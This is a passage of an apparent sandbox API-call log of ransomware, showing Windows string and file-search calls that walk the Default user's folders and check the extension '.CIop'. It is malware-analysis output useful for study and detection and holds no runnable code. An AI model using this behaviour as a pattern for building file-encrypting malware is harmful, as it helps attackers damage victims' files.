returned="C:\\Users\\Default\\Documents\\My Pictures" [0159.002] SetErrorMode (uMode=0x1) returned 0x1 [0159.002] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0159.002] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\") returned="C:\\Users\\Default\\Documents\\My Pictures\\" [0159.002] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Default\\Documents\\My Pictures\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\") returned="C:\\Users\\Default\\Documents\\My Pictures\\" [0159.002] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Default\\Documents\\My Pictures\\*.*" [0159.002] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0159.002] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Pictures") returned="My Pictures" [0159.002] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0159.002] lstrlenW (lpString=".CIop") returned 5 [0159.002] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0159.002] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0159.002] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0159.002] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0159.002] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Default\\Documents\\My Pictures\\*.*" [0159.002] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0159.002] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Pictures") returned="My Pictures" [0159.002] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0159.002] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0159.002] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0159.002] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0159.002] SetErrorMode (uMode=0x1) returned 0x1 [0159.002] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0159.002] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\") returned="C:\\Users\\Default\\Documents\\My Videos\\" [0159.002] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Default\\Documents\\My Videos\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\") returned="C:\\Users\\Default\\Documents\\My Videos\\" [0159.002] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\*.*") returned="C:\\Users\\Default\\Documents\\My Videos\\*.*" [0159.002] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0159.003] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Videos") returned="My Videos" [0159.003] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0159.003] lstrlenW (lpString=".CIop") returned 5 [0159.003] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0159.003] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0159.003] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0159.003] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0159.003] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\*.*") returned="C:\\Users\\Default\\Documents\\My Videos\\*.*" [0159.003] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0159.003] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Videos") returned="My Videos" [0159.003] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0159.003] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0159.003] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0159.003] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0159.003] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0159.003] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0159.004] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0159.004] SetErrorMode (uMode=0x1) returned 0x1 [0159.004] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0159.004] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Downloads\\") returned="C:\\Users\\Default\\Downloads\\" [0159.004] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Downloads\\" | out: lpString1="C:\\Users\\Default\\Downloads\\") returned="C:\\Users\\Default\\Downloads\\" [0159.004] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Downloads\\*.*") returned="C:\\Users\\Default\\Downloads\\*.*" [0159.004] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0159.004] PathFindFileNameW (pszPath="C:\\Users\\Default\\Downloads") returned="Downloads" [0159.004] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0159.004] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0159.004] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Downloads\\*.*") returned="C:\\Users\\Default\\Downloads\\*.*" [0159.004] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0159.004] PathFindFileNameW (pszPath="C:\\Users\\Default\\Downloads") returned="Downloads" [0159.004] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0159.004] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0159.004] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0159.004] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0159.004] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0159.004] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0159.004] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0159.004] SetErrorMode (uMode=0x1) returned 0x1 [0159.004] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0159.004] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0159.004] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Favorites\\" | out: lpString1="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0159.004] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Favorites\\*.*") returned="C:\\Users\\Default\\Favorites\\*.*" [0159.005] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0159.005] PathFindFileNameW (pszPath="C:\\Users\\Default\\Favorites") returned="Favorites" [0159.005] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0159.005] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0159.005] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Favorites\\*.*") returned="C:\\Users\\Default\\Favorites\\*.*" [0159.005] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0159.005] PathFindFileNameW (pszPath="C:\\Users\\Default\\Favorites") returned="Favorites" [0159.005] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0159.005] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0159.005] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0159.005] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0159.005] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0159.005] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0159.005] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0159.005] SetErrorMode (uMode=0x1) returned 0x1 [0159.005] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0159.005] lstrcatW (in: lpString1="C:\\Users\\Default\\Links", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Links\\") returned="C:\\Users\\Default\\Links\\" [0159.005] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Links\\" | out: lpString1="C:\\Users\\Default\\Links\\") returned="C:\\Users\\Default\\Links\\" [0159.005] lstrcatW (in: lpString1="C:\\Users\\Default\\Links\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Links\\*.*") returned="C:\\Users\\Default\\Links\\*.*" [0159.005] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0159.005] PathFindFileNameW (pszPath="C:\\Users\\Default\\Links") returned="Links" [0159.005] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0159.006] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0159.006] lstrcatW (in: lpString1="C:\\Users\\Default\\Links", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Links\\*.*") returned="C:\\Users\\Default\\Links\\*.*" [0159.006] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0159.006] PathFindFileNameW (pszPath="C:\\Users\\Default\\Links") returned="Links" [0159.006] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0159.006] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0159.006] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1 [0159.006] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1 [0159.006] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0159.006] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0159.006] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0159.006] SetErrorMode (uMode=0x1) returned 0x1 [0159.006] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0159.006] lstrcatW (in: lpString1="C:\\Users\\Default\\Local Settings", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Local Settings\\") returned="C:\\Users\\Default\\Local Settings\\" [0159.006] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Local Settings\\" | out: lpString1="C:\\Users\\Default\\Local Settings\\") returned="C:\\Users\\Default\\Local Settings\\" [0159.006] lstrcatW (in: lpString1="C:\\Users\\Default\\Local Settings\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Local Settings\\*.*") returned="C:\\Users\\Default\\Local Settings\\*.*" [0159.006] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0159.006] PathFindFileNameW (pszPath="C:\\Users\\Default\\Local Settings") returned="Local Settings" [0159.006] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0159.006] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0159.006] lstrcatW (in: lpString1="C:\\Users\\Default\\Local Settings", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Local Settings\\*.*") returned="C:\\Users\\Default\\Local Settings\\*.*" [0159.006] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0159.006] PathFindFileNameW (pszPath="C:\\Users\\Default\\Local Settings") returned="Local Settings" [0159.006] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0159.006] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0159.007] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0159.007] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0159.007] SetErrorMode (uMode=0x1) returned 0x1 [0159.007] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0159.007] lstrcatW (in: lpString1="C:\\Users\\Default\\Music", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Music\\") returned="C:\\Users\\Default\\Music\\" [0159.007] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Music\\" | out: lpString1="C:\\Users\\Default\\Music\\") returned="C:\\Users\\Default\\Music\\" [0159.007] lstrcatW (in: lpString1="C:\\Users\\Default\\Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Music\\*.*") returned="C:\\Users\\Default\\Music\\*.*" [0159.007] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0159.007] PathFindFileNameW (pszPath="C:\\Users\\Default\\Music") returned="Music" [0159.007] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0159.007] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0159.007] lstrcatW (in: lpString1="C:\\Users\\Default\\Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Music\\*.*") returned="C:\\Users\\Default\\Music\\*.*" [0159.007] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0159.007] PathFindFileNameW (pszPath="C:\\Users\\Default\\Music") returned="Music" [0159.007] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0159.007] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0159.007] lstrcmpW (lpString1="My Documents", lpString2="..") returned 1 [0159.007] lstrcmpW (lpString1="My Documents", lpString2=".") returned 1 [0159.007] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0159.007] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0159.007] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="My Documents" | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0159.007] SetErrorMode (uMode=0x1) returned 0x1 [0159.007] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\My Documents" | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0159.007] lstrcatW (in: lpString1="C:\\Users\\Default\\My Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\My Documents\\") returned="C:\\Users\\Default\\My Documents\\" [0159.007] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\My Documents\\" | out: lpString1="C:\\Users\\Default\\My Documents\\") returned="C:\\Users\\Default\\My Documents\\" [0159.007] lstrcatW (in: lpString1="C:\\Users\\Default\\My Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\My Documents\\*.*") returned="C:\\Users\\Default\\My Documents\\*.*" [0159.008] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0159.008] PathFindFileNameW (pszPath="C:\\Users\\Default\\My Documents") returned="My Documents" [0159.008] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0159.008] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\My Documents" | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0159.008] lstrcatW (in: lpString1="C:\\Users\\Default\\My Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\My Documents\\*.*") returned="C:\\Users\\Default\\My Documents\\*.*" [0159.008] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0159.008] PathFindFileNameW (pszPath="C:\\Users\\Default\\My Documents") returned="My Documents" [0159.008] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0159.008] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0159.008] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0159.008] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0159.008] SetErrorMode (uMode=0x1) returned 0x1 [0159.008] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0159.008] lstrcatW (in: lpString1="C:\\Users\\Default\\NetHood", lpString2="\\" | out: lpString1="C:\\Users\\Default\\NetHood\\") returned="C:\\Users\\Default\\NetHood\\" [0159.008] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\NetHood\\" | out: lpString1="C:\\Users\\Default\\NetHood\\") returned="C:\\Users\\Default\\NetHood\\" [0159.008] lstrcatW (in: lpString1="C:\\Users\\Default\\NetHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\NetHood\\*.*") returned="C:\\Users\\Default\\NetHood\\*.*" [0159.008] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0159.008] PathFindFileNameW (pszPath="C:\\Users\\Default\\NetHood") returned="NetHood" [0159.008] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0159.008] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0159.008] lstrcatW (in: lpString1="C:\\Users\\Default\\NetHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\NetHood\\*.*") returned="C:\\Users\\Default\\NetHood\\*.*" [0159.008] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0159.008] PathFindFileNameW (pszPath="C:\\Users\\Default\\NetHood") returned="NetHood" [0159.008] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0159.008] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0159.008] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0159.008] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Pictures" | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0159.008] SetErrorMode (uMode=0x1) returned 0x1 [0159.008] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Pictures" | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0159.008] lstrcatW (in: lpString1="C:\\Users\\Default\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Pictures\\") returned="C:\\Users\\Default\\Pictures\\" [0159.008] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Pictures\\" | out: lpString1="C:\\Users\\Default\\Pictures\\") returned="C:\\Users\\Default\\Pictures\\" [0159.008] lstrcatW (in: lpString1="C:\\Users\\Default\\Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Pictures\\*.*") returned="C:\\Users\\Default\\Pictures\\*.*" [0159.008] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0159.009] PathFindFileNameW (pszPath="C:\\Users\\Default\\Pictures") returned="Pictures" [0159.009] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0159.009] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Pictures" | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0159.009] lstrcatW (in: lpString1="C:\\Users\\Default\\Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Pictures\\*.*") returned="C:\\Users\\Default\\Pictures\\*.*" [0159.009] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0159.009] PathFindFileNameW (pszPath="C:\\Users\\Default\\Pictures") returned="Pictures" [0159.009] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0159.009] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0159.009] lstrcmpW (lpString1="PrintHood", lpString2="..") returned 1 [0159.009] lstrcmpW (lpString1="PrintHood", lpString2=".") returned 1 [0159.009] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0159.009] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0159.009] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="PrintHood" | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0159.009] SetErrorMode (uMode=0x1) returned 0x1 [0159.009] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\PrintHood" | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0159.009] lstrcatW (in: lpString1="C:\\Users\\Default\\PrintHood", lpString2="\\" | out: lpString1="C:\\Users\\Default\\PrintHood\\") returned="C:\\Users\\Default\\PrintHood\\" [0159.009] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\PrintHood\\" | out: lpString1="C:\\Users\\Default\\PrintHood\\") returned="C:\\Users\\Default\\PrintHood\\" [0159.009] lstrcatW (in: lpString1="C:\\Users\\Default\\PrintHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\PrintHood\\*.*") returned="C:\\Users\\Default\\PrintHood\\*.*" [0159.009] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0159.009] PathFindFileNameW (pszPath="C:\\Users\\Default\\PrintHood") returned="PrintHood" [0159.009] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0159.009] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\PrintHood" | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0159.009] lstrcatW (in: lpString1="C:\\Users\\Default\\PrintHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\PrintHood\\*.*") returned="C:\\Users\\Default\\PrintHood\\*.*" [0159.009] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) 